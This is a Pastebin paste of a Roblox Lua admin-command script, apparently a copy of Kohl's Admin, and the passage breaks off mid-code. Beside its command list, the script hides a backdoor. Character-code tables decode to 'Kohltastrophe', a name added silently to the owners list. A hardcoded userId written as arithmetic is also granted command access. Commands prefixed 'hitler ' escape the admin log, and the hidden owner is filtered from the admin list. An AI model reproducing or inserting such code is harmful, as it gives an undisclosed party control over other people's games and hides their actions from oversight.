Advertisement
jassm11

Untitled

Apr 3rd, 2018
354
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --prefix ":"
  2.  
  3. --[[
  4. --
  5. --
  6. --
  7. --
  8. --
  9. --
  10. --
  11. --
  12. --
  13. --
  14. --]]
  15. local owners = {"jassm11"} -- Are able to set admins who can ban/etc... using :pa name
  16. local admins = {" "} -- Sets admins who can use ban/kick/admin or shutdown
  17. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  18. local banland = {""} -- Permanently Bans people
  19. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  20. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  21. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  22.  
  23.  
  24. local VipAdmin = false -- If someone can have admin for owning an item
  25. local ItemId = 0 -- The item they must own in order to have admin
  26.  
  27. local GroupAdmin = false -- If a certain group can have admin
  28. local GroupId = 0 -- Sets the group id that can have admin
  29. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  30. ---------------------
  31. -- Tips and Tricks --
  32. ---------------------
  33. --[[
  34. With this admin you can do a command on multiple people at a time;
  35. :kill me,noob1,noob2,random,team-raiders,nonadmins
  36.  
  37. You can also use a variety commands for different people;
  38. all
  39. others
  40. me
  41. team-
  42. admins
  43. nonadmins
  44. random
  45. --]]
  46.  
  47. --[[
  48. -- |Temp Admin Commands| --
  49. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  50. 1. :s print("Hello World") -- Lets you script normally
  51. 2. :ls print("Hello World") -- Lets you script in localscripts
  52. 3. :clear -- Will remove all scripts/localscripts and jails
  53. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  54. 5. :kill kohl -- Kills the player
  55. 6. :respawn kohl -- Respawns the player
  56. 7. :trip kohl -- Trips the player
  57. 8. :stun kohl -- Stuns the player
  58. 9. :unstun kohl -- Unstuns the player
  59. 10. :jump kohl -- Makes the player jump
  60. 11. :sit kohl -- Makes the player sit
  61. 12. :invisible kohl -- Makes the player invisible
  62. 13. :visible kohl -- Makes the player visible
  63. 14. :explode kohl -- Makes the player explode
  64. 15. :fire kohl -- Sets the player on fire
  65. 16. :unfire kohl -- Removes fire from the player
  66. 17. :smoke kohl -- Adds smoke to the player
  67. 18. :unsmoke kohl -- Removes smoke from the player
  68. 19. :sparkles kohl -- Adds sparkles to the player
  69. 20. :unsparkles kohl -- Removes sparkles from the player
  70. 21. :ff kohl -- Adds a forcefield to the player
  71. 22. :unff kohl -- Removes the forcefield from the player
  72. 23. :punish kohl -- Punishes the player
  73. 24. :unpunish kohl -- Unpunishes the player
  74. 25. :freeze kohl -- Freezes the player
  75. 26. :thaw kohl -- Thaws the player
  76. 27. :heal kohl -- Heals the player
  77. 28. :god kohl -- Makes the player have infinite health
  78. 29. :ungod kohl -- Makes the player have 100 health
  79. 30. :ambient .5 .5 .5 -- Changes the ambient
  80. 31. :brightness .5 -- Changes the brightness
  81. 32. :time 12 -- Changes the time
  82. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  83. 34. :fogend 100 -- Changes the fogend
  84. 35. :fogstart 100 -- Changes the fogstart
  85. 36. :removetools kohl -- Removes all tools from the player
  86. 37. :btools kohl -- Gives the player building tools
  87. 38. :give kohl sword -- Gives the player a tool
  88. 39. :damage kohl -- Damages the player
  89. 40. :grav kohl -- Sets the player's gravity to normal
  90. 41. :setgrav kohl 100 -- Sets the player's gravity
  91. 42. :nograv kohl -- Makes the player have 0 gravity
  92. 43. :health kohl 1337 -- Changes the player's health
  93. 44. :speed kohl 1337 -- Changes the player's walkspeed
  94. 45. :name kohl potato -- Changes the player's name
  95. 46. :unname kohl -- Remove the player's name
  96. 47. :team kohl Raiders -- Changes the player's team
  97. 48. :stopmusic -- Will stop all music playing in the server
  98. 49. :teleport kohl potato -- Teleports the player
  99. 50. :change kohl kills 1337 -- Changes a player's stat
  100. 51. :kick kohl -- Removes the player from the game
  101. 52. :infect kohl -- Turns the player into a zombie
  102. 53. :rainbowify kohl -- Turns the player into a rainbow
  103. 54. :flashify kohl -- Turns the player into a strobe
  104. 55. :noobify kohl -- Turns the player into a noob
  105. 56. :ghostify kohl -- Turns the player into a ghost
  106. 57. :goldify kohl -- Turns the player into gold
  107. 58. :shiny kohl -- Makes the player shiny
  108. 59. :normal kohl -- Puts the player back to normal
  109. 60. :trippy kohl -- Spams random colors on the player's screen
  110. 61. :untrippy kohl -- Untrippys the player
  111. 62. :strobe kohl -- Spams white and black on the player's screen
  112. 63. :unstrobe kohl -- Unstrobes the player
  113. 64. :blind kohl -- Blinds the player
  114. 65. :unblind kohl -- Unblinds the player
  115. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  116. 67. :fling kohl -- Flings the player
  117. 68. :seizure kohl -- Puts the player in a seizure
  118. 69. :music 1337 -- Plays a sound from the ID
  119. 70. :lock kohl -- Locks the player
  120. 71. :unlock kohl -- Unlocks the player
  121. 72. :removelimbs kohl -- Removes the player's limbs
  122. 73. :jail kohl -- Puts the player in a jail
  123. 74. :unjail kohl -- Removes the jail from the player
  124. 75. :fix -- This will fix the lighting to it's original settings
  125. 76. :fly kohl -- Makes the player fly
  126. 77. :unfly kohl -- Removes fly from the player
  127. 78. :noclip kohl -- Makes the player able to noclip
  128. 79. :clip kohl -- Removes noclipping from the player
  129. 80. :pm kohl Hey bro -- Sends the player a private message
  130. 81. :dog kohl -- Turns the player into a dog
  131. 82. :undog kohl -- Turns the player back to normal
  132. 83. :creeper kohl -- Turns the player into a creeper
  133. 84. :uncreeper kohl -- Turns the player back to normal
  134. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  135. 86. :char kohl 261 -- Will make a player look like a different player ID
  136. 87. :unchar kohl -- Will return the player back to normal
  137. 88. :h Hello People -- This will shout a hint to everyone
  138. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  139. 90. :starttools kohl -- Will give the player starter tools
  140. 91. :sword kohl -- Will give the player a sword
  141. 92. :bighead kohl -- Will make the player's head larger than normal
  142. 93. :minihead kohl -- Will make the player's head smaller than normal
  143. 94. :insert 1337 -- Will insert a model at the speaker's position
  144. 95. :disco -- Will make the server flash random colors
  145. 96. :flash -- Will make the server flash
  146. 97. :admins -- Shows the admin list
  147. 98. :bans -- Shows the banlist
  148. 99. :musiclist -- Shows the music list
  149. 100. :spin kohl -- Spins the player
  150. 101. :cape kohl Really black -- Gives the player a colored cape
  151. 102. :uncape kohl -- Removes the player's cape
  152. 103. :loopheal kohl -- Will constantly heal the player
  153. 104. :loopfling kohl -- Will constantly fling the player
  154. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  155. 106. :unloopheal kohl -- Will remove the loopheal on the player
  156. 107. :unloopfling kohl -- Will remove the loopfling on the player
  157. 108. :unspin kohl -- Removes spin from the player
  158. 109. :tools -- Gives a list of the tools in the lighting
  159. 110. :undisco -- Removes disco effects
  160. 111. :unflash -- Removes flash effects
  161. 112. :resetstats kohl -- Sets all the stats of a player to 0
  162. 113. :gear kohl 1337 -- Gives a player a gear
  163. 114. :cmdbar -- Gives the speaker a command bar
  164. 115. :shirt kohl 1337 -- Changes the player's shirt
  165. 116. :pants kohl 1337 -- Changes the player's pants
  166. 117. :face kohl 1337 -- Changes the player's face
  167. 118. :swagify kohl -- Swagifies the player
  168. 119. :version -- Shows the current version of the admin
  169. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  170. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  171. 122. :clone kohl -- Creates a clone of the player
  172. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  173. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  174. 125. :control kohl -- Controls a player
  175.  
  176. -- |Admin Commands| --
  177. - :serverlock -- Locks the server
  178. - :serverunlock -- Unlocks the server
  179. - :sm Hello World -- Creates a system message
  180. - :crash kohl -- Crashes a player
  181. - :admin kohl -- Admins a player
  182. - :unadmin kohl -- Unadmins a player
  183. - :ban kohl -- Bans a player
  184. - :unban kohl -- Unbans a player
  185. - :loopkill kohl -- Will constantly kill the player
  186. - :unloopkill kohl -- Will remove the loopkill on the player
  187. - :logs -- Will show all of the commands any admin has used in a game session
  188. - :shutdown -- Shutsdown the server
  189.  
  190. -- |Owner Commands| --
  191. - :pa kohl -- Makes someone a super admin
  192. - :unpa kohl -- Removes a super admin
  193. - :nuke kohl -- Creates a nuke on kohl
  194.  
  195. -- |True Owner Commands| --
  196. - :oa kohl -- Makes someone an owner
  197. - :unoa kohl -- Removes an owner
  198. - :settings -- Shows settings for the commands
  199. --
  200. ---------------------
  201. -- Main Script --
  202. ---------------------]]
  203. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  204.  
  205. function CHEESE()
  206. if game:service("Lighting"):findFirstChild("KACV2") then
  207. owners = {} admins = {} tempadmins = {} banland = {}
  208. for i,v in pairs(game.Lighting.KACV2:children()) do
  209. if v.Name == "Owner" then table.insert(owners, v.Value) end
  210. if v.Name == "Admin" then table.insert(admins, v.Value) end
  211. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  212. if v.Name == "Banland" then table.insert(banland, v.Value) end
  213. if v.Name == "Prefix" then prefix = v.Value end
  214. if v.Name == "FunCommands" then FunCommands = v.Value end
  215. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  216. if v.Name == "GroupId" then GroupId = v.Value end
  217. if v.Name == "GroupRank" then GroupRank = v.Value end
  218. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  219. if v.Name == "ItemId" then ItemId = v.Value end
  220. end
  221. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  222. end
  223.  
  224. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  225. local lobjs = {}
  226. local objects = {}
  227. local logs = {}
  228. local nfs = ""
  229. local slock = false
  230.  
  231. function GetTime()
  232. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  233. if min < 10 then min = "0"..min end
  234. return hour..":"..min
  235. end
  236.  
  237. function ChkOwner(str)
  238. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  239. return false
  240. end
  241.  
  242. function ChkAdmin(str,ck)
  243. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  244. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  245. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  246. return false
  247. end
  248.  
  249. function ChkGroupAdmin(plr)
  250. if GroupAdmin then
  251. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  252. return false
  253. end
  254. end
  255.  
  256. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  257.  
  258. function GetPlr(plr, str)
  259. local plrz = {} str = str:lower()
  260. if str == "all" then plrz = game.Players:children()
  261. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  262. else
  263. local sn = {1} local en = {}
  264. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  265. for x = 1, #sn do
  266. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  267. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  268. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  269. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  270. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  271. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  272. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  273. end end end
  274. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  275. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  276. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  277. end end end
  278. else
  279. for a, plyr in pairs(game.Players:children()) do
  280. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  281. table.insert(plrz, plyr) break
  282. end
  283. end
  284. end
  285. end
  286. end
  287. return plrz
  288. end
  289.  
  290. function Hint(str, plrz, time)
  291. for i, v in pairs(plrz) do
  292. if v and v:findFirstChild("PlayerGui") then
  293. coroutine.resume(coroutine.create(function()
  294. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  295. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  296. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  297. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  298. if not time then wait((#str/19)+2.5) else wait(time) end
  299. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  300. end))
  301. end
  302. end
  303. end
  304.  
  305. function Message(ttl, str, scroll, plrz, time)
  306. for i, v in pairs(plrz) do
  307. if v and v:findFirstChild("PlayerGui") then
  308. coroutine.resume(coroutine.create(function()
  309. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  310. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  311. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  312. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  313. scr.Parent = v.PlayerGui
  314. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  315. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  316. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  317. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  318. end))
  319. end
  320. end
  321. end
  322.  
  323. function RemoveMessage()
  324. for i,v in pairs(game.Players:children()) do
  325. if v and v:findFirstChild("PlayerGui") then
  326. for q,ms in pairs(v.PlayerGui:children()) do
  327. if ms.Name == "MessageGUI" then
  328. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  329. elseif ms.Name == "HintGUI" then
  330. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  331. end
  332. end
  333. end
  334. end
  335. end
  336.  
  337. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  338. _G["RemoveMessage"] = RemoveMessage()
  339.  
  340. function Output(str, plr)
  341. coroutine.resume(coroutine.create(function()
  342. local b, e = loadstring(str)
  343. if not b and plr:findFirstChild("PlayerGui") then
  344. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  345. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  346. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  347. return
  348. end
  349. end))
  350. end
  351.  
  352. function Noobify(char)
  353. if char and char:findFirstChild("Torso") then
  354. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  355. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  356. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  357. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  358. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  359. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  360. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  361. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  362. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  363. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  364. end end
  365. end
  366. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  367.  
  368. function Infect(char)
  369. if char and char:findFirstChild("Torso") then
  370. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  371. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  372. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  373. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  374. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  375. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  376. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  377. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  378. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  379. end end
  380. end
  381. end if not ntab then script:Destroy() end
  382.  
  383. function ScrollGui()
  384. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  385. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  386. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  387. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  388. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  389. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  390. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  391. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  392. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  393. local num = 0
  394. local downv = false
  395. local upv = false
  396.  
  397. down.MouseButton1Down:connect(function() downv = true upv = false
  398. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  399. repeat pos = pos + UDim2.new(0,0,0,-6)
  400. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  401. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  402. end)
  403. down.MouseButton1Up:connect(function() downv = false end)
  404. up.MouseButton1Down:connect(function() upv = true downv = false
  405. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  406. repeat pos = pos + UDim2.new(0,0,0,6)
  407. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  408. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  409. end)
  410. up.MouseButton1Up:connect(function() upv = false end)
  411. return scr, cmf, ent, num
  412. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  413. if not ntab then script:Destroy() end
  414. if not bct then script:Destroy() end
  415.  
  416. function Chat(msg,plr)
  417. coroutine.resume(coroutine.create(function()
  418. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  419. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  420. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  421. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  422. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  423. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  424. if msg:lower() == "cmds" or msg:lower() == "commands" then
  425. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  426. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  427. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  428. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  429. local ost = {"pa plr","unpa plr","nuke plr"}
  430. local tost = {"oa plr","unoa plr","settings"}
  431. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  432. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  433. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  434. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  435. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  436. end
  437.  
  438. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  439.  
  440. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  441. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  442. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  443. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  444. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
